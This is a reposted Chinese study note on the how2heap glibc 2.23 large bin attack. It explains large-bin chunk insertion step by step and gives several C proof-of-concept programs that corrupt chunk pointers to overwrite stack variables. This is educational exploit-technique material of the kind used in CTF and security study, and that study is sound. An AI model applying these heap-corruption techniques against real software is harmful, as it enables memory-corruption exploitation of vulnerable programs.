【转载】how2heap-2.23-08-large_bin_attack

学习large_bin_attack原理

本文总阅读量

本文章转载:how2heap-2.23-08-large_bin_attack_pwn largbin图解-CSDN博客

欢迎各位读者前往原文章阅读,本处只用作笔记记录


pwngdb命令,方便源码调试

1
2
set context-sections code
set context-source-code-lines 40

粗略理解chunk进入large bin的过程(先看图解,再回头看代码)

下面是从unsorted bin链中取出的chunk,插入到large bin链的代码

36e538cc5241acd17f5939cd039690f7

基本逻辑如下:

  • 从unsorted bin链中取出的chunk大小,是否属于small bin的大小

    • small bin相关的处理
  • 从unsorted bin链中取出的chunk大小,是否属于large bin的大小

    • 计算出当前chunk大小从属的main_arean->bins的下标
    • 获取该bins下标的large bin的头结点 bck
    • 通过large bin头节点的fd,找到large bin链中size最大的chunk fwd(large bin链中第一个chunk)
    • 当前large bin链不为空(操作的是fd_nextsize和bk_nextsize形成的链)
      • 当前chunk的size < large bin链中最小的chunk
        • (总结:将当前chunk插入到large bin链的尾部,即插入到最小的chunk的后面)
        • fwd = bck; 令 fwd 指向 large bin 头结点
        • bck = bck->bk; 令 bck 指向 largin bin 尾部 chunk,就是当前已在large bin链中最小的这个chunk
        • victim->fd_nextsize = fwd->fd; 当前chunk 的 fd_nextsize 指向 largin bin 的第一个 chunk
        • victim->bk_nextsize = fwd->fd->bk_nextsize; 当前chunk的 bk_nextsize 指向原来链表的第一个 chunk 指向的 bk_nextsize(当前chunk的bk_nextsize指向原先最小的chunk)
        • fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
          • victim->bk_nextsize->fd_nextsize = victim; 原先最小chunk的fd_nextsize指向当前chunk
          • fwd->fd->bk_nextsize = victim large bin中第一个chunk的bk_nextsize指向当前chunk
      • 当前chunk的size >= large bin链中最小的chunk
        • 从large bin链中size最大的chunk fwd(large bin链中第一个chunk),从大到小遍历,找到首个不大于当前chunk的chunk
        • 如果找到的chunk的大小等于当前chunk
          • **fwd = fwd->fd;**将当前chunk 插入到该chunk的后面,并不修改 nextsize 指针
        • 如果找到的chunk的大小小于当前chunk
          • victim->fd_nextsize = fwd; 当前chunk的fd_nextsize指向这个找到的chunk
          • victim->bk_nextsize = fwd->bk_nextsize; 当前chunk的bk_nextsize指向这个找到的chunk的bk_nextsize
          • fwd->bk_nextsize = victim; 找到chunk的bk_nextsize指向当前chunk
          • victim->bk_nextsize->fd_nextsize = victim; 找到chunk原先前面的chunk的fd_nextsize指向当前chunk
        • 获取找到的chunk的前面的一个chunk(通过bk找到当前chunk插入前,最小的比找到的chunk大的chunk)
    • 当前large bin链为空(操作的是fd_nextsize和bk_nextsize形成的链)
      • 当前chunk的fd_nextsizebk_nextsize均指向自己
  • 将当前chunk链入large bin链中(fd,bk形成的链

图解入large bin链的逻辑

large bin链中放入首个chunk:chunk a

34806ef2c5d24541e1325ac499ef8f29

这里fd,bk,fd_nextsize,bk_nextsize指向都是chunk的首地址


放入 size 比 chunk a 大的 chunk c

b445c0f0f67a125fb292a68730edef08

large bin fd总是指向size最大的chunk

large bin bk总是指向size最小的chunk

large bin链中的chunk,通过large bin fd 从大到小排序


放入size 比 chunk a 小的 chunk b

e8dcd406b5b945b9d0c22ee1900900bd

large bin链中的chunk,通过large bin fd 从大到小排序

只不过在代码实现中,通过large bin bk 快速来实现这一步


放入 size 和 chunk a 一样的 chunk d

3b6a93bfd37ac402606b9e0caa4398c8

在代码中,有这么一个注释:

/ Always insert in the second position. /,

就是大小相同的chunk,紧临着相同大小首个进入large bin链的chunk放置(可以看下面chunk e一起理解

大小相同(重复)的chunk,不会有fd_nextsize,bk_nextsize(忘掉横向链,竖向链


放入 size 和 chunk a 一样的 chunk e

236b0f1cfddcf7aca032ade072b7ef14

如上情况就是**入large bin链的所有逻辑**


回顾一下unsafe_unlinkunsorted_bin_attack

how2heap-2.23-05-unsorted_bin_attack

how2heap-2.23-06-unsorted_bin_into_stack

unsafe_unlink 是因为一个被破坏的chunk脱链,重新修整指针时引发的问题

unsorted_bin_attack 也是一个被破坏的chunk脱链,重新修整指针时引发的问题

large_bin_attack原理与上面的两个差不多,是一个chunk入链,与一个**被破坏**的chunk重新修整指针时引发的问题

从large_bin_attack被挖掘出的思路出发只考虑2.23的源码

unsorted bin chunk进入large bin链的四种逻辑:

  • large bin链为空,chunk进入large bin链
  • chunk的size比large bin链中size最小的chunk还要小
  • large bin中存在和chunk size一样大小的chunk
  • chunk的size大于large bin链中size最小的chunk

large bin chunk出large bin链

  • 从恰好大小合适的largebin中获取chunk,发生unlink
  • 从比malloc要求大的largebin中取chunk,发生unlink

好像入链归于large_bin_attack,出链归于unsafe_unlink,不清楚,只看入链的逻辑


下面通过被破坏的large bin chunk实现漏洞利用的角度来观察不同入链的逻辑(一般是堆溢出修改large bin的fd,bk,fd_nextsize,bk_nextsize

1)首个chunk入large bin链

6b62ffd1dc822e9c7780d86c48c3f599

  • 此时还没有被破坏的chunk
  • large bin fd,large bin bk 指向这个chunk的首地址
  • chunk的fd,bk指向large bin 头结点的首地址
  • fd_nextsize,bk_nextsize指向chunk自身

这里没有利用场景


2)比最小的chunk还小的chunk入large bin链

先看看该入链逻辑所涉及的代码,寻找可被破坏-用于利用的chunk(从而有堆溢出产生时,构造这种堆结构)以及利用方式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
else
  {
    victim_index = largebin_index (size);
    bck = bin_at (av, victim_index);	1
    fwd = bck->fd;						2
    if (fwd != bck)
      {
        if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
          {
            fwd = bck;				  3
            bck = bck->bk;			  4

            victim->fd_nextsize = fwd->fd; 										5
            victim->bk_nextsize = fwd->fd->bk_nextsize;							6
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;	7
          }

mark_bin (av, victim_index);
victim->bk = bck;					8
victim->fd = fwd;					9
fwd->bk = victim;					10
bck->fd = victim;					11
  • 【0】victim为要入链的chunk

  • 【1】bck为large bin链的头结点,这个位置是一个固定死的值(除非篡改了arena的位置)

  • 【2】fwd为large bin链中size最大的chunk,也就是紧挨着large bin头结点的chunk

  • 【3】fwd为large bin链的头结点

  • 【4】bck为large bin链中size最小的chunk

现在bck,victim,fwd,三要素集齐,下面就是构造如下的双链 a8ebb4a2548e2bd99b654004f5654f77

考虑到fwd时large bin链的头结点,实际的图形如下的两种形式

3678eb55047ce02e4e53bf7212753f8d

  • 【5】**victim->fd_nextsize = fwd->fd; **fwd为large bin链的头结点,fwd->fd指向的是一个chunk的地址,即size最大的chunk(如果原先large bin链中只有一个chunk,就是指向的那个size最小的chunk的地址),这里没有办法伪造

  • 【6】victim->bk_nextsize = fwd->fd->bk_nextsize; 与【5】中描述的类似,fwd->fd指向的是与large bin头节点最近的chunk,而 fwd->fd->bk_nextsize是该chunk中的数据,如果有堆溢出漏洞,就可以篡改这个chunk的bk_nextsize字段,并赋值给要链入的chunk的bk_nextsize字段

8feef4f475efad6f2be4cf6b7ee6dcec

  • 【7】fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

分成两部分看

  • fwd->fd->bk_nextsize = victim

仅是给紧挨着large bin头结点的chunk的bk_nextsize字段赋值

162bdd6a3b61de5c42552cc2c4cb7263


victim->bk_nextsize->fd_nextsize = victim

对篡改的bk_nextsize chunk的fd_nextsize字段赋值为victim

675c59cea5a6ffa1cd41cc15051d1dd7


如果有一个unsigned long stack_var = 0;变量,将篡改的bk_nextsize赋值为(unsigned long )(&stack_var -4),那就可以修改这个变量的值了

d4990d14497406ac0623f298c1992d68


【8】,【9】,【10】,【11】都是不能控制的


下面是相关代码,可以自己调试看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <malloc.h>
#include <stdio.h>

// OK
int main()
{
    printf("begin test\n");
    unsigned long stack_var = 0;

    size_t *p1 = malloc(0x410); //largebin
    malloc(0x10); //to separate

    size_t *p2 = malloc(0x400); //unsortedbin
    malloc(0x10); //to separate
    free(p1);
    malloc(0x470); //Release p1 into largebin
    free(p2);  //Release p2 into unsortedbin

    p1[3] = (unsigned long )(&stack_var -4);
    malloc(0x470);
    return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <malloc.h>
#include <stdio.h>

// OK
int main()
{
    printf("begin test\n");
    unsigned long stack_var = 0;

    size_t *p1 = malloc(0x420);
    malloc(0x10);

    size_t *p2 = malloc(0x410);
    malloc(0x10);

    size_t *p3 = malloc(0x400);
    malloc(0x10);
    free(p1);
    free(p2);
    malloc(0x470);
    free(p3);

    p1[3] = (unsigned long )(&stack_var -4);
    malloc(0x470);
    return 0;
}

3)放入相同大小的 chunk

所涉及的代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    victim_index = largebin_index (size);
    bck = bin_at (av, victim_index);	1
    fwd = bck->fd;						2

    if (fwd != bck)
      {
        size |= PREV_INUSE;
        if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
          {
          }
        else
          {
            while ((unsigned long) size < chunksize_nomask (fwd))	3
              {
                fwd = fwd->fd_nextsize;
              }
            if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
              /* Always insert in the second position.  */
              fwd = fwd->fd;	4
            else
              {
              }
            bck = fwd->bk;		5
          }
      }
  }

mark_bin (av, victim_index);
victim->bk = bck;	6
victim->fd = fwd;	7
fwd->bk = victim;	8
bck->fd = victim;	9
  • 【1】bck为large bin链的头结点,这个位置是一个固定死的值(除非篡改了arena的位置

  • 【2】fwd为large bin链中size最大的chunk,也就是紧挨着large bin头结点的chunk

  • 【3】通过fwd从大到小,寻找到第一个不大于victim size的chunk

如下就是fwd和victim

89390331a276c8ebc109b89271cb6f4e

  • 【4】如果fwd和victim大小相等,就会把fwd中的fd取出来用,从上图可以可以想到,假设存在堆溢出漏洞,那就可以修改fwd->fd

2f78989734f20d4fd377add09b40f291

经过赋值,伪造的fd指向的chunk,成为fwd

faa20c51de2f09eb52a469c957f1cc61

  • 【5】将伪造的fwd的bk取出,作为bck

6af7dbe7e4f835700329fe1ac4cacec2

这里有个问题,伪造的fwd chunk的bk字段必须是要有内容的,最好是个可写内存的地址,否则执行【9】时程序会崩溃

  • 【6】,【7】给victim chunk的bk,fd赋值,这个不管

  • 【8】,伪造的fwd chunk的bk赋值为victim chunk的地址

  • 【9】,这个太不稳定了,不管

1af568f145eead33bcc50dc012674fd0


这种攻击场景,适用于覆盖栈中保存的堆地址的变量,将其保存的堆地址修改为victim chunk的地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <malloc.h>
#include <string.h>

int main()
{
    printf("begin\n");
    char* test_chunk = malloc(0x1000);

    size_t * a = malloc(0x410);
    malloc(0x8);

    size_t *b = malloc(0x410);
    size_t * victim = malloc(0x400);
    malloc(0x8);
    free(a);
    malloc(0x470);
    free(b);

    a[0] = (unsigned long )(&test_chunk -3);
    printf("before vuln\n");
    malloc(0x470);
    printf("after vuln\n");
    memset(test_chunk, 'a', 0x900);
    char show_array[100];
    memcpy(show_array, victim+20,30);
    printf("%s\n",show_array);
    return 0;
}

4)放入不和其他chunk size相等,且不是最小的chunk

所涉及的代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
    victim_index = largebin_index (size);
    bck = bin_at (av, victim_index);	1
    fwd = bck->fd;						2

    if (fwd != bck)
      {
        size |= PREV_INUSE;
        if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
          {
          }
        else
          {
            while ((unsigned long) size < chunksize_nomask (fwd))	3
              {
                fwd = fwd->fd_nextsize;
              }

            if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))

            else
              {
                victim->fd_nextsize = fwd;					4
                victim->bk_nextsize = fwd->bk_nextsize;		5
                fwd->bk_nextsize = victim;					6
                victim->bk_nextsize->fd_nextsize = victim;	7
              }
            bck = fwd->bk;									8
          }
      }
    else
  }

mark_bin (av, victim_index);
victim->bk = bck;											9
victim->fd = fwd;											10
fwd->bk = victim;											11
bck->fd = victim;											12
  • 【1】bck为large bin链的头结点,这个位置是一个固定死的值(除非篡改了arena的位置)

  • 【2】fwd为large bin链中size最大的chunk,也就是紧挨着large bin头结点的chunk

  • 【3】通过fwd从大到小,寻找到第一个不大于victim size的chunk

如下就是fwd和victim

f306f7275f9502ebf816d98261845cd1

假设存在堆溢出漏洞,可以溢出修改fwd中的数据

ce3cc071c495ebad37d7256f2b69a2c4

  • 【4】victim->fd_nextsize = fwd,victim的fd_nextsize存储fwd chunk的首地址,这个没有办法伪造

  • 【5】victim->bk_nextsize = fwd->bk_nextsize,victim的bk_nextsize存储fwd chunk中伪造的bk_nextsize

  • 【6】fwd->bk_nextsize = victim,fwd的bk_nextsize字段赋值为victim chunk的首地址,这个正常

d557e119b4b1b32e1dc2648e386ebc43

  • 【7】victim->bk_nextsize->fd_nextsize = victim,将伪造的bk_nextsize chunk的fd_nextsize字段覆盖为victim chunk的首地址

a84445ad2128261cffcd228854ee166b

  • 【8】bck = fwd->bk,bck指向fwd伪造的bk

1daf91ac4b10b5ca9a9414cf14c83bc3

  • 【8】和【9】,给victim chunk 的fd和bk赋值
  • 【11】给fwd的bk字段赋值
  • 【12】给伪造的bk chunk的fd字段赋值为victim chunk的首地址

12841d3da686abb373e8ed170b19fae9

如果存在两个变量(一个也行)stack_var1,stack_var2

通过堆溢出漏洞,将fwd的bk修改为&stack_var1-2,fwd的bk_nextsize修改为&stack_var2-4,则stack_var1和stack_var2存储的内容在漏洞触发后都能修改为victim chunk的首地址

8e524380f9bb604d44e0c42b9a3e02f8


测试代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <malloc.h>

int main()
{
    printf("begin test\n");
    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    size_t * p1 = malloc(0x410);
    malloc(0x8);

    size_t * p2 = malloc(0x420);
    malloc(0x8);
    free(p1);
    malloc(0x470);
    free(p2);

    p1[1] = (unsigned long )(&stack_var1 - 2);
    p1[3] = (unsigned long )(&stack_var2 - 4);

    malloc(0x470);

    return 0;
}

现在how2heap中的large_bin_attack应该可以完全理解了